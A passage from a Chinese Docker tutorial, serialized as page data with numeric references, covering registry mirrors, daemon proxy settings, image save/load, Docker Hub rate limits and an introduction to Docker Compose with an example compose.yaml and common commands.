}\n}\n",[22,53016,53017,53021,53033,53050,53062,53089],{"__ignoreMap":314},[331,53018,53019],{"class":333,"line":334},[331,53020,338],{"class":337},[331,53022,53023,53026,53028,53031],{"class":333,"line":341},[331,53024,53025],{"class":344},"  \"registry-mirrors\"",[331,53027,403],{"class":337},[331,53029,53030],{"class":365},"\"https:\u002F\u002Fdocker.m.daocloud.io\"",[331,53032,415],{"class":337},[331,53034,53035,53038,53040,53043,53045,53048],{"class":333,"line":357},[331,53036,53037],{"class":344},"  \"dns\"",[331,53039,403],{"class":337},[331,53041,53042],{"class":365},"\"114.114.114.114\"",[331,53044,409],{"class":337},[331,53046,53047],{"class":365},"\"8.8.8.8\"",[331,53049,415],{"class":337},[331,53051,53052,53055,53057,53060],{"class":333,"line":371},[331,53053,53054],{"class":344},"  \"log-driver\"",[331,53056,348],{"class":337},[331,53058,53059],{"class":365},"\"json-file\"",[331,53061,354],{"class":337},[331,53063,53064,53067,53069,53072,53074,53077,53079,53082,53084,53087],{"class":333,"line":384},[331,53065,53066],{"class":344},"  \"log-opts\"",[331,53068,32367],{"class":337},[331,53070,53071],{"class":344},"\"max-size\"",[331,53073,348],{"class":337},[331,53075,53076],{"class":365},"\"20m\"",[331,53078,409],{"class":337},[331,53080,53081],{"class":344},"\"max-file\"",[331,53083,348],{"class":337},[331,53085,53086],{"class":365},"\"3\"",[331,53088,9413],{"class":337},[331,53090,53091],{"class":333,"line":397},[331,53092,459],{"class":337},[11,53094,53095,53096,53099,53100,18878,53102,53104,53105,53107,53108,53110,53111,1677,53113,53116],{},"要点：mirror 只是",[17,53097,53098],{},"缓存代理","，只加速公开镜像的 ",[22,53101,46470],{},[22,53103,20810],{}," 与私有镜像不走它；配完 ",[22,53106,46267],{}," 里能看到 ",[22,53109,46366],{}," 才算生效。企业环境走 HTTP 代理用 ",[22,53112,52975],{},[22,53114,53115],{},"proxies","（只影响客户端）或 systemd drop-in（影响 daemon，拉镜像真正吃代理的是 daemon）：",[308,53118,53120],{"className":3902,"code":53119,"language":3904,"meta":314,"style":314},"sudo mkdir -p \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\nprintf '[Service]\\nEnvironment=\"HTTPS_PROXY=http:\u002F\u002F10.0.0.9:3128\"\\nEnvironment=\"NO_PROXY=localhost,127.0.0.1\"\\n' \\\n  | sudo tee \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\u002Fproxy.conf\nsudo systemctl daemon-reload && sudo systemctl restart docker\n",[22,53121,53122,53134,53143,53157],{"__ignoreMap":314},[331,53123,53124,53126,53129,53131],{"class":333,"line":334},[331,53125,37063],{"class":501},[331,53127,53128],{"class":365}," mkdir",[331,53130,36941],{"class":344},[331,53132,53133],{"class":365}," \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\n",[331,53135,53136,53138,53141],{"class":333,"line":341},[331,53137,48991],{"class":344},[331,53139,53140],{"class":365}," '[Service]\\nEnvironment=\"HTTPS_PROXY=http:\u002F\u002F10.0.0.9:3128\"\\nEnvironment=\"NO_PROXY=localhost,127.0.0.1\"\\n'",[331,53142,36876],{"class":344},[331,53144,53145,53148,53151,53154],{"class":333,"line":357},[331,53146,53147],{"class":616},"  |",[331,53149,53150],{"class":501}," sudo",[331,53152,53153],{"class":365}," tee",[331,53155,53156],{"class":365}," \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\u002Fproxy.conf\n",[331,53158,53159,53161,53163,53166,53168,53170,53172,53175],{"class":333,"line":371},[331,53160,37063],{"class":501},[331,53162,37081],{"class":365},[331,53164,53165],{"class":365}," daemon-reload",[331,53167,34829],{"class":337},[331,53169,37063],{"class":501},[331,53171,37081],{"class":365},[331,53173,53174],{"class":365}," restart",[331,53176,53177],{"class":365}," docker\n",[53,53179,53181],{"id":53180},"离线分发save-load","离线分发：save \u002F load",[308,53183,53185],{"className":3902,"code":53184,"language":3904,"meta":314,"style":314},"docker save -o shop-images.tar ghcr.io\u002Fexample\u002Fshop-api:1.8.3 postgres:16.4 redis:7.2-alpine\nscp u@build:\u002Ftmp\u002Fshop-images.tar prod:\u002Ftmp\u002F\ndocker load -i \u002Ftmp\u002Fshop-images.tar\n",[22,53186,53187,53207,53218],{"__ignoreMap":314},[331,53188,53189,53191,53193,53196,53199,53201,53204],{"class":333,"line":334},[331,53190,36862],{"class":501},[331,53192,33769],{"class":365},[331,53194,53195],{"class":344}," -o",[331,53197,53198],{"class":365}," shop-images.tar",[331,53200,48233],{"class":365},[331,53202,53203],{"class":365}," postgres:16.4",[331,53205,53206],{"class":365}," redis:7.2-alpine\n",[331,53208,53209,53212,53215],{"class":333,"line":341},[331,53210,53211],{"class":501},"scp",[331,53213,53214],{"class":365}," u@build:\u002Ftmp\u002Fshop-images.tar",[331,53216,53217],{"class":365}," prod:\u002Ftmp\u002F\n",[331,53219,53220,53222,53224,53227],{"class":333,"line":357},[331,53221,36862],{"class":501},[331,53223,13822],{"class":365},[331,53225,53226],{"class":344}," -i",[331,53228,53229],{"class":365}," \u002Ftmp\u002Fshop-images.tar\n",[11,53231,53232,53233,53236,53237,53240,53241,53244,53245,53248,53249,53251,53252,53255],{},"内网\u002F气隔环境的常规手段。三个提醒：",[22,53234,53235],{},"save"," 出的 tar 是",[17,53238,53239],{},"未压缩","的（体积按解压后算），用 ",[22,53242,53243],{},"docker save img | gzip > img.tar.gz"," 减一半；tar ",[17,53246,53247],{},"绑定架构","，别指望 amd64 的 tar 能在 ARM 上跑；",[22,53250,13916],{}," 之后镜像没有 registry 前缀的 RepoDigest，",[22,53253,53254],{},"pull_policy"," 相关行为要注意（第十二章）。",[53,53257,53259],{"id":53258},"docker-hub-的限流","Docker Hub 的限流",[11,53261,53262],{},"未登录 6 小时内每 IP 约 100 次 pull，免费账号 200 次；超了报：",[308,53264,53267],{"className":53265,"code":53266,"language":313},[311],"toomanyrequests: You have reached your pull rate limit. You may enable and increase limits by upgrading to Team or Enterprise.\n",[22,53268,53266],{"__ignoreMap":314},[11,53270,53271,53272,53275,53276,53279,53280,8170,53282,53285],{},"CI 里最容易撞上。缓解手段按有效性排：",[17,53273,53274],{},"把公共基础镜像同步到自己的 registry","（最稳，",[22,53277,53278],{},"skopeo copy"," 或 CI 里一次性 mirror）、CI 用云厂商提供的免费 mirror、给构建加缓存层（避免每次重新解析 ",[22,53281,37230],{},[22,53283,53284],{},"docker login","（把限额从匿名 IP 池换成账号）。",[11,53287,53288],{},"下一章把「一条一条 docker run」升级成「一个文件描述整套服务」：Compose。",[48,53290,53292],{"id":53291},"十一docker-compose-入门composeyaml-的骨架","十一、Docker Compose 入门：compose.yaml 的骨架",[53,53294,53296],{"id":53295},"为什么需要-compose","为什么需要 Compose",[11,53298,53299,53300,53302,53303,46489,53306,53309],{},"手工 ",[22,53301,46150],{}," 起四个服务，你要记住每条命令的 20 个参数、顺序（谁先起）、网络名、卷名，还要在改代码后逐个重建。Compose 把这些写进一个文件：",[17,53304,53305],{},"声明式地描述一组服务",[22,53307,53308],{},"up"," 一下就把状态对齐。它是「单机多容器」的事实标准，也是学 Swarm\u002FK8s 的概念入口。",[308,53311,53313],{"className":3902,"code":53312,"language":3904,"meta":314,"style":314},"docker compose version     # v2 是 docker 子命令，注意不是 docker-compose\ndocker compose up -d\n",[22,53314,53315,53328],{"__ignoreMap":314},[331,53316,53317,53319,53322,53325],{"class":333,"line":334},[331,53318,36862],{"class":501},[331,53320,53321],{"class":365}," compose",[331,53323,53324],{"class":365}," version",[331,53326,53327],{"class":1003},"     # v2 是 docker 子命令，注意不是 docker-compose\n",[331,53329,53330,53332,53334,53337],{"class":333,"line":341},[331,53331,36862],{"class":501},[331,53333,53321],{"class":365},[331,53335,53336],{"class":365}," up",[331,53338,53339],{"class":344}," -d\n",[53,53341,53343],{"id":53342},"顶层结构五个键","顶层结构：五个键",[308,53345,53349],{"className":53346,"code":53347,"language":53348,"meta":314,"style":314},"language-yaml shiki shiki-themes github-dark","services:            # 必填；每个键是一个容器（或一组副本）\n  web: { image: nginx:1.27-alpine }\nnetworks:            # 自定义网络；不写则自动有一个 \u003Cproject>_default\n  shop-net: { driver: bridge }\nvolumes:             # 命名卷；不写则匿名卷或带项目前缀的自动卷\n  db-data:\nconfigs:             # 文本配置以文件形式注入容器\n  nginx-conf: { file: .\u002Fnginx\u002Fconf.d\u002Fsite.conf }\nsecrets:             # 密钥（Compose 里默认是 file driver）\n  db_password: { file: .\u002Fsecrets\u002Fdb_password.txt }\n","yaml",[22,53350,53351,53362,53379,53389,53405,53416,53424,53434,53451,53461],{"__ignoreMap":314},[331,53352,53353,53356,53359],{"class":333,"line":334},[331,53354,53355],{"class":497},"services",[331,53357,53358],{"class":337},":            ",[331,53360,53361],{"class":1003},"# 必填；每个键是一个容器（或一组副本）\n",[331,53363,53364,53367,53369,53372,53374,53377],{"class":333,"line":341},[331,53365,53366],{"class":497},"  web",[331,53368,32367],{"class":337},[331,53370,53371],{"class":497},"image",[331,53373,348],{"class":337},[331,53375,53376],{"class":365},"nginx:1.27-alpine",[331,53378,9413],{"class":337},[331,53380,53381,53384,53386],{"class":333,"line":357},[331,53382,53383],{"class":497},"networks",[331,53385,53358],{"class":337},[331,53387,53388],{"class":1003},"# 自定义网络；不写则自动有一个 \u003Cproject>_default\n",[331,53390,53391,53394,53396,53399,53401,53403],{"class":333,"line":371},[331,53392,53393],{"class":497},"  shop-net",[331,53395,32367],{"class":337},[331,53397,53398],{"class":497},"driver",[331,53400,348],{"class":337},[331,53402,50832],{"class":365},[331,53404,9413],{"class":337},[331,53406,53407,53410,53413],{"class":333,"line":384},[331,53408,53409],{"class":497},"volumes",[331,53411,53412],{"class":337},":             ",[331,53414,53415],{"class":1003},"# 命名卷；不写则匿名卷或带项目前缀的自动卷\n",[331,53417,53418,53421],{"class":333,"line":397},[331,53419,53420],{"class":497},"  db-data",[331,53422,53423],{"class":337},":\n",[331,53425,53426,53429,53431],{"class":333,"line":418},[331,53427,53428],{"class":497},"configs",[331,53430,53412],{"class":337},[331,53432,53433],{"class":1003},"# 文本配置以文件形式注入容器\n",[331,53435,53436,53439,53441,53444,53446,53449],{"class":333,"line":427},[331,53437,53438],{"class":497},"  nginx-conf",[331,53440,32367],{"class":337},[331,53442,53443],{"class":497},"file",[331,53445,348],{"class":337},[331,53447,53448],{"class":365},".\u002Fnginx\u002Fconf.d\u002Fsite.conf",[331,53450,9413],{"class":337},[331,53452,53453,53456,53458],{"class":333,"line":439},[331,53454,53455],{"class":497},"secrets",[331,53457,53412],{"class":337},[331,53459,53460],{"class":1003},"# 密钥（Compose 里默认是 file driver）\n",[331,53462,53463,53466,53468,53470,53472,53475],{"class":333,"line":450},[331,53464,53465],{"class":497},"  db_password",[331,53467,32367],{"class":337},[331,53469,53443],{"class":497},[331,53471,348],{"class":337},[331,53473,53474],{"class":365},".\u002Fsecrets\u002Fdb_password.txt",[331,53476,9413],{"class":337},[11,53478,53479,53481,53482,53489,53490,4813],{},[22,53480,53355],{}," 之外四个都可选，但",[17,53483,53484,53485,5160,53487],{},"生产风格的文件会显式声明 ",[22,53486,53383],{},[22,53488,53409],{},"，因为隐式资源的名字带项目前缀、难以在外部复用（第十二章的 ",[22,53491,6388],{},[53,53493,53495],{"id":53494},"service-的常用字段","service 的常用字段",[57,53497,53498,53509],{},[60,53499,53500],{},[63,53501,53502,53504,53506],{},[66,53503,1872],{},[66,53505,49671],{},[66,53507,53508],{},"关键细节",[79,53510,53511,53529,53554,53573,53585,53607,53623,53641,53657,53673,53689,53710,53731,53751],{},[63,53512,53513,53517,53520],{},[84,53514,53515],{},[22,53516,53371],{},[84,53518,53519],{},"直接用现成镜像",[84,53521,53522,53523,53525,53526,53528],{},"与 ",[22,53524,15760],{}," 互斥或共存（共存时 ",[22,53527,53308],{}," 用构建产物）",[63,53530,53531,53535,53538],{},[84,53532,53533],{},[22,53534,15760],{},[84,53536,53537],{},"现场构建",[84,53539,53540,272,53543,272,53545,272,53547,272,53549,272,53552],{},[22,53541,53542],{},"context",[22,53544,15577],{},[22,53546,4363],{},[22,53548,6384],{},[22,53550,53551],{},"shm_size",[22,53553,46470],{},[63,53555,53556,53561,53564],{},[84,53557,53558],{},[22,53559,53560],{},"ports",[84,53562,53563],{},"宿主→容器",[84,53565,53566,53567,53570,53571],{},"列表，",[22,53568,53569],{},"\"127.0.0.1:8080:80\""," 完全等价于 ",[22,53572,36989],{},[63,53574,53575,53579,53582],{},[84,53576,53577],{},[22,53578,48008],{},[84,53580,53581],{},"仅文档",[84,53583,53584],{},"只告诉别人「这个端口对内开放」，不产生任何映射",[63,53586,53587,53592,53595],{},[84,53588,53589],{},[22,53590,53591],{},"environment",[84,53593,53594],{},"环境变量",[84,53596,53597,53598,4839,53601,53604,53605,5149],{},"map 或 list 两种写法，值",[17,53599,53600],{},"必须是字符串",[22,53602,53603],{},"\"true\""," 不是 ",[22,53606,1131],{},[63,53608,53609,53614,53617],{},[84,53610,53611],{},[22,53612,53613],{},"env_file",[84,53615,53616],{},"从文件注入",[84,53618,53619,53620,53622],{},"列表按顺序，后者覆盖前者；与 ",[22,53621,11149],{}," 是两回事（第十三章）",[63,53624,53625,53629,53631],{},[84,53626,53627],{},[22,53628,53409],{},[84,53630,49462],{},[84,53632,53633,53634,53637,53638],{},"短语法 ",[22,53635,53636],{},"\"db-data:\u002Fvar\u002Flib\u002Fmysql\""," 或长语法 ",[22,53639,53640],{},"type\u002Ftarget",[63,53642,53643,53648,53651],{},[84,53644,53645],{},[22,53646,53647],{},"depends_on",[84,53649,53650],{},"启动顺序",[84,53652,53653,53656],{},[17,53654,53655],{},"只保证顺序，不保证就绪","（下一节）",[63,53658,53659,53664,53667],{},[84,53660,53661],{},[22,53662,53663],{},"healthcheck",[84,53665,53666],{},"健康检查",[84,53668,53669,53670,53672],{},"等价于 ",[22,53671,48032],{},"，可在 Compose 里覆盖镜像的",[63,53674,53675,53680,53683],{},[84,53676,53677],{},[22,53678,53679],{},"restart",[84,53681,53682],{},"重启策略",[84,53684,53685,53688],{},[22,53686,53687],{},"unless-stopped"," 是单机默认答案（第十六章）",[63,53690,53691,53699,53702],{},[84,53692,53693,1901,53696],{},[22,53694,53695],{},"command",[22,53697,53698],{},"entrypoint",[84,53700,53701],{},"覆盖镜像",[84,53703,53704,53705,1901,53707,53709],{},"分别覆盖 ",[22,53706,46430],{},[22,53708,46927],{},"（第四章四组合）",[63,53711,53712,53719,53721],{},[84,53713,53714,1901,53717],{},[22,53715,53716],{},"network_mode",[22,53718,53383],{},[84,53720,49497],{},[84,53722,12849,53723,18878,53725,53728,53729],{},[22,53724,53383],{},[22,53726,53727],{},"network_mode: host"," 会忽略 ",[22,53730,53560],{},[63,53732,53733,53738,53741],{},[84,53734,53735],{},[22,53736,53737],{},"container_name",[84,53739,53740],{},"固定名字",[84,53742,53743,53746,53747,53750],{},[17,53744,53745],{},"慎用","：与 ",[22,53748,53749],{},"--scale"," 冲突，多实例必炸",[63,53752,53753,53758,53761],{},[84,53754,53755],{},[22,53756,53757],{},"profiles",[84,53759,53760],{},"按需启动",[84,53762,34727],{},[53,53764,53765],{"id":53765},"一段完整可用的例子",[308,53767,53769],{"className":53346,"code":53768,"language":53348,"meta":314,"style":314},"services:\n  api:\n    build: { context: ., dockerfile: Dockerfile, args: { NODE_ENV: production } }\n    image: ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n    ports: [\"127.0.0.1:8080:3000\"]\n    environment: { DATABASE_URL: postgres:\u002F\u002Fshop:secret@db:5432\u002Fshop, REDIS_URL: redis:\u002F\u002Fcache:6379\u002F0 }\n    volumes: [uploads:\u002Fsrv\u002Fshop\u002Fuploads]\n    depends_on: { db: { condition: service_healthy }, cache: { condition: service_started } }\n    healthcheck:\n      test: [\"CMD\", \"node\", \"-e\", \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"]\n      interval: 15s\n      retries: 3\n      start_period: 20s\n    restart: unless-stopped\n  web:\n    image: nginx:1.27-alpine\n    ports: [\"80:80\"]\n    volumes: [\".\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro\"]\n    depends_on: [api]\n  db:\n    image: postgres:16.4\n    environment: { POSTGRES_USER: shop, POSTGRES_DB: shop }\n    volumes: [db-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata]\n    healthcheck: { test: [\"CMD-SHELL\", \"pg_isready -U shop\"], interval: 10s, retries: 5 }\n  cache:\n    image: redis:7.2-alpine\n    command: [\"redis-server\", \"--appendonly\", \"yes\"]\n    volumes: [cache-data:\u002Fdata]\nvolumes: { db-data: {}, cache-data: {}, uploads: {} }\n",[22,53770,53771,53777,53784,53821,53831,53843,53870,53882,53918,53925,53951,53961,53971,53981,53991,53997,54006,54017,54028,54039,54046,54055,54079,54090,54129,54136,54145,54167,54178],{"__ignoreMap":314},[331,53772,53773,53775],{"class":333,"line":334},[331,53774,53355],{"class":497},[331,53776,53423],{"class":337},[331,53778,53779,53782],{"class":333,"line":341},[331,53780,53781],{"class":497},"  api",[331,53783,53423],{"class":337},[331,53785,53786,53789,53791,53793,53795,53797,53799,53801,53803,53806,53808,53810,53812,53814,53816,53819],{"class":333,"line":357},[331,53787,53788],{"class":497},"    build",[331,53790,32367],{"class":337},[331,53792,53542],{"class":497},[331,53794,348],{"class":337},[331,53796,1192],{"class":344},[331,53798,409],{"class":337},[331,53800,15577],{"class":497},[331,53802,348],{"class":337},[331,53804,53805],{"class":365},"Dockerfile",[331,53807,409],{"class":337},[331,53809,4363],{"class":497},[331,53811,32367],{"class":337},[331,53813,47781],{"class":497},[331,53815,348],{"class":337},[331,53817,53818],{"class":365},"production",[331,53820,11466],{"class":337},[331,53822,53823,53826,53828],{"class":333,"line":371},[331,53824,53825],{"class":497},"    image",[331,53827,348],{"class":337},[331,53829,53830],{"class":365},"ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n",[331,53832,53833,53836,53838,53841],{"class":333,"line":384},[331,53834,53835],{"class":497},"    ports",[331,53837,403],{"class":337},[331,53839,53840],{"class":365},"\"127.0.0.1:8080:3000\"",[331,53842,1268],{"class":337},[331,53844,53845,53848,53850,53853,53855,53858,53860,53863,53865,53868],{"class":333,"line":397},[331,53846,53847],{"class":497},"    environment",[331,53849,32367],{"class":337},[331,53851,53852],{"class":497},"DATABASE_URL",[331,53854,348],{"class":337},[331,53856,53857],{"class":365},"postgres:\u002F\u002Fshop:secret@db:5432\u002Fshop",[331,53859,409],{"class":337},[331,53861,53862],{"class":497},"REDIS_URL",[331,53864,348],{"class":337},[331,53866,53867],{"class":365},"redis:\u002F\u002Fcache:6379\u002F0",[331,53869,9413],{"class":337},[331,53871,53872,53875,53877,53880],{"class":333,"line":418},[331,53873,53874],{"class":497},"    volumes",[331,53876,403],{"class":337},[331,53878,53879],{"class":365},"uploads:\u002Fsrv\u002Fshop\u002Fuploads",[331,53881,1268],{"class":337},[331,53883,53884,53887,53889,53892,53894,53897,53899,53902,53905,53907,53909,53911,53913,53916],{"class":333,"line":427},[331,53885,53886],{"class":497},"    depends_on",[331,53888,32367],{"class":337},[331,53890,53891],{"class":497},"db",[331,53893,32367],{"class":337},[331,53895,53896],{"class":497},"condition",[331,53898,348],{"class":337},[331,53900,53901],{"class":365},"service_healthy",[331,53903,53904],{"class":337}," }, ",[331,53906,12509],{"class":497},[331,53908,32367],{"class":337},[331,53910,53896],{"class":497},[331,53912,348],{"class":337},[331,53914,53915],{"class":365},"service_started",[331,53917,11466],{"class":337},[331,53919,53920,53923],{"class":333,"line":439},[331,53921,53922],{"class":497},"    healthcheck",[331,53924,53423],{"class":337},[331,53926,53927,53930,53932,53935,53937,53939,53941,53944,53946,53949],{"class":333,"line":450},[331,53928,53929],{"class":497},"      test",[331,53931,403],{"class":337},[331,53933,53934],{"class":365},"\"CMD\"",[331,53936,409],{"class":337},[331,53938,46779],{"class":365},[331,53940,409],{"class":337},[331,53942,53943],{"class":365},"\"-e\"",[331,53945,409],{"class":337},[331,53947,53948],{"class":365},"\"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"",[331,53950,1268],{"class":337},[331,53952,53953,53956,53958],{"class":333,"line":456},[331,53954,53955],{"class":497},"      interval",[331,53957,348],{"class":337},[331,53959,53960],{"class":365},"15s\n",[331,53962,53963,53966,53968],{"class":333,"line":775},[331,53964,53965],{"class":497},"      retries",[331,53967,348],{"class":337},[331,53969,53970],{"class":344},"3\n",[331,53972,53973,53976,53978],{"class":333,"line":785},[331,53974,53975],{"class":497},"      start_period",[331,53977,348],{"class":337},[331,53979,53980],{"class":365},"20s\n",[331,53982,53983,53986,53988],{"class":333,"line":795},[331,53984,53985],{"class":497},"    restart",[331,53987,348],{"class":337},[331,53989,53990],{"class":365},"unless-stopped\n",[331,53992,53993,53995],{"class":333,"line":805},[331,53994,53366],{"class":497},[331,53996,53423],{"class":337},[331,53998,53999,54001,54003],{"class":333,"line":819},[331,54000,53825],{"class":497},[331,54002,348],{"class":337},[331,54004,54005],{"class":365},"nginx:1.27-alpine\n",[331,54007,54008,54010,54012,54015],{"class":333,"line":850},[331,54009,53835],{"class":497},[331,54011,403],{"class":337},[331,54013,54014],{"class":365},"\"80:80\"",[331,54016,1268],{"class":337},[331,54018,54019,54021,54023,54026],{"class":333,"line":886},[331,54020,53874],{"class":497},[331,54022,403],{"class":337},[331,54024,54025],{"class":365},"\".\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro\"",[331,54027,1268],{"class":337},[331,54029,54030,54032,54034,54037],{"class":333,"line":909},[331,54031,53886],{"class":497},[331,54033,403],{"class":337},[331,54035,54036],{"class":365},"api",[331,54038,1268],{"class":337},[331,54040,54041,54044],{"class":333,"line":918},[331,54042,54043],{"class":497},"  db",[331,54045,53423],{"class":337},[331,54047,54048,54050,54052],{"class":333,"line":1232},[331,54049,53825],{"class":497},[331,54051,348],{"class":337},[331,54053,54054],{"class":365},"postgres:16.4\n",[331,54056,54057,54059,54061,54064,54066,54069,54071,54073,54075,54077],{"class":333,"line":1253},[331,54058,53847],{"class":497},[331,54060,32367],{"class":337},[331,54062,54063],{"class":497},"POSTGRES_USER",[331,54065,348],{"class":337},[331,54067,54068],{"class":365},"shop",[331,54070,409],{"class":337},[331,54072,36985],{"class":497},[331,54074,348],{"class":337},[331,54076,54068],{"class":365},[331,54078,9413],{"class":337},[331,54080,54081,54083,54085,54088],{"class":333,"line":1259},[331,54082,53874],{"class":497},[331,54084,403],{"class":337},[331,54086,54087],{"class":365},"db-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata",[331,54089,1268],{"class":337},[331,54091,54092,54094,54096,54098,54100,54103,54105,54108,54111,54113,54115,54118,54120,54123,54125,54127],{"class":333,"line":1271},[331,54093,53922],{"class":497},[331,54095,32367],{"class":337},[331,54097,1195],{"class":497},[331,54099,403],{"class":337},[331,54101,54102],{"class":365},"\"CMD-SHELL\"",[331,54104,409],{"class":337},[331,54106,54107],{"class":365},"\"pg_isready -U shop\"",[331,54109,54110],{"class":337},"], ",[331,54112,39585],{"class":497},[331,54114,348],{"class":337},[331,54116,54117],{"class":365},"10s",[331,54119,409],{"class":337},[331,54121,54122],{"class":497},"retries",[331,54124,348],{"class":337},[331,54126,6508],{"class":344},[331,54128,9413],{"class":337},[331,54130,54131,54134],{"class":333,"line":1277},[331,54132,54133],{"class":497},"  cache",[331,54135,53423],{"class":337},[331,54137,54138,54140,54142],{"class":333,"line":1293},[331,54139,53825],{"class":497},[331,54141,348],{"class":337},[331,54143,54144],{"class":365},"redis:7.2-alpine\n",[331,54146,54147,54150,54152,54155,54157,54160,54162,54165],{"class":333,"line":1302},[331,54148,54149],{"class":497},"    command",[331,54151,403],{"class":337},[331,54153,54154],{"class":365},"\"redis-server\"",[331,54156,409],{"class":337},[331,54158,54159],{"class":365},"\"--appendonly\"",[331,54161,409],{"class":337},[331,54163,54164],{"class":365},"\"yes\"",[331,54166,1268],{"class":337},[331,54168,54169,54171,54173,54176],{"class":333,"line":1311},[331,54170,53874],{"class":497},[331,54172,403],{"class":337},[331,54174,54175],{"class":365},"cache-data:\u002Fdata",[331,54177,1268],{"class":337},[331,54179,54180,54182,54184,54187,54190,54193,54195,54198],{"class":333,"line":1323},[331,54181,53409],{"class":497},[331,54183,32367],{"class":337},[331,54185,54186],{"class":497},"db-data",[331,54188,54189],{"class":337},": {}, ",[331,54191,54192],{"class":497},"cache-data",[331,54194,54189],{"class":337},[331,54196,54197],{"class":497},"uploads",[331,54199,54200],{"class":337},": {} }\n",[11,54202,54203,54205,54206,54209,54210,54213,54214,54216,54217,54219,54220,54223,54224,6745,54227,54230],{},[22,54204,53891],{}," 那段里 ",[22,54207,54208],{},"\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata"," 这类目标路径",[17,54211,54212],{},"必须抄官方文档，不能凭印象","。写错成 ",[22,54215,52462],{}," 时 Compose 不会报错，只会在镜像里建一个空目录，数据静默落在容器可写层，",[22,54218,53308],{}," 看着正常、",[22,54221,54222],{},"down"," 之后全丢——这是教程里最难自查的一类错误。用 ",[22,54225,54226],{},"docker diff shop-db",[22,54228,54229],{},"docker exec shop-db ls \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata"," 一眼就能看出数据没进卷。",[53,54232,54234],{"id":54233},"depends_on-只保证顺序不保证就绪","depends_on 只保证顺序，不保证就绪",[11,54236,54237,54238,54241,54242,54245],{},"这是 Compose 最坑人的一个字段。",[22,54239,54240],{},"depends_on: [db]"," 的含义只是「先创建并启动 db 容器」，而容器启动 ≠ 数据库能接受连接。Postgres 初始化要几秒，你的 API 在此期间 ",[22,54243,54244],{},"ECONNREFUSED","，然后崩溃退出。",[11,54247,54248,54249,4809,54251,54253,54254,54256],{},"正确写法是 ",[22,54250,53647],{},[22,54252,53896],{},"，而 ",[22,54255,53896],{}," 依赖健康检查：",[308,54258,54260],{"className":53346,"code":54259,"language":53348,"meta":314,"style":314},"    depends_on:\n      db: { condition: service_healthy }        # 等 db 的 healthcheck 通过才起 api\n      cache: { condition: service_started }     # 只要起来了（等价于旧写法）\n",[22,54261,54262,54268,54287],{"__ignoreMap":314},[331,54263,54264,54266],{"class":333,"line":334},[331,54265,53886],{"class":497},[331,54267,53423],{"class":337},[331,54269,54270,54273,54275,54277,54279,54281,54284],{"class":333,"line":341},[331,54271,54272],{"class":497},"      db",[331,54274,32367],{"class":337},[331,54276,53896],{"class":497},[331,54278,348],{"class":337},[331,54280,53901],{"class":365},[331,54282,54283],{"class":337}," }        ",[331,54285,54286],{"class":1003},"# 等 db 的 healthcheck 通过才起 api\n",[331,54288,54289,54292,54294,54296,54298,54300,54302],{"class":333,"line":357},[331,54290,54291],{"class":497},"      cache",[331,54293,32367],{"class":337},[331,54295,53896],{"class":497},[331,54297,348],{"class":337},[331,54299,53915],{"class":365},[331,54301,12146],{"class":337},[331,54303,54304],{"class":1003},"# 只要起来了（等价于旧写法）\n",[11,54306,54307,54308,54310,54311,54313,54314,54316,54317,54320],{},"可选值有三种：",[22,54309,53915],{},"（默认）、",[22,54312,53901],{},"（要求被依赖方有 ",[22,54315,53663],{},"，否则 Compose 报错）、",[22,54318,54319],{},"service_completed_successfully","（等对方退出码 0，适合 migration\u002Finit 容器）。",[11,54322,54323,54325,54326,54329,54330,54332],{},[22,54324,53896],{}," 解决的是「应用启动时的瞬时失败」，但",[17,54327,54328],{},"运行期依赖方挂了依然要你自己的重连逻辑","。别指望 ",[22,54331,53647],{}," 提供高可用。",[53,54334,54336],{"id":54335},"日常命令与那个危险的-v","日常命令与那个危险的 -v",[308,54338,54340],{"className":3902,"code":54339,"language":3904,"meta":314,"style":314},"docker compose config            # 校验并打印合并渲染后的最终配置（排错第一步）\ndocker compose up -d             # 对齐期望状态：缺的建、变的换\ndocker compose up -d --build     # 顺带重新构建 build 的服务\ndocker compose up -d --force-recreate api   # 配置没变但想换镜像\u002F环境变量时强制重建\ndocker compose ps                # 只看本项目的容器（含 health 状态）\ndocker compose logs -f --tail 100 api\ndocker compose exec api sh       # 进容器（exec 不是 run，不会新建）\ndocker compose run --rm api node scripts\u002Fmigrate.js   # 起一次性容器，可覆盖 command\ndocker compose scale api=3\ndocker compose stop \u002F start \u002F restart\ndocker compose down              # 停并删容器和网络（卷和数据不动）\ndocker compose down -v          # 连命名卷一起删 —— 数据库清空\n",[22,54341,54342,54353,54366,54382,54400,54411,54428,54443,54463,54477,54494,54506],{"__ignoreMap":314},[331,54343,54344,54346,54348,54350],{"class":333,"line":334},[331,54345,36862],{"class":501},[331,54347,53321],{"class":365},[331,54349,14596],{"class":365},[331,54351,54352],{"class":1003},"            # 校验并打印合并渲染后的最终配置（排错第一步）\n",[331,54354,54355,54357,54359,54361,54363],{"class":333,"line":341},[331,54356,36862],{"class":501},[331,54358,53321],{"class":365},[331,54360,53336],{"class":365},[331,54362,36867],{"class":344},[331,54364,54365],{"class":1003},"             # 对齐期望状态：缺的建、变的换\n",[331,54367,54368,54370,54372,54374,54376,54379],{"class":333,"line":357},[331,54369,36862],{"class":501},[331,54371,53321],{"class":365},[331,54373,53336],{"class":365},[331,54375,36867],{"class":344},[331,54377,54378],{"class":344}," --build",[331,54380,54381],{"class":1003},"     # 顺带重新构建 build 的服务\n",[331,54383,54384,54386,54388,54390,54392,54395,54397],{"class":333,"line":371},[331,54385,36862],{"class":501},[331,54387,53321],{"class":365},[331,54389,53336],{"class":365},[331,54391,36867],{"class":344},[331,54393,54394],{"class":344}," 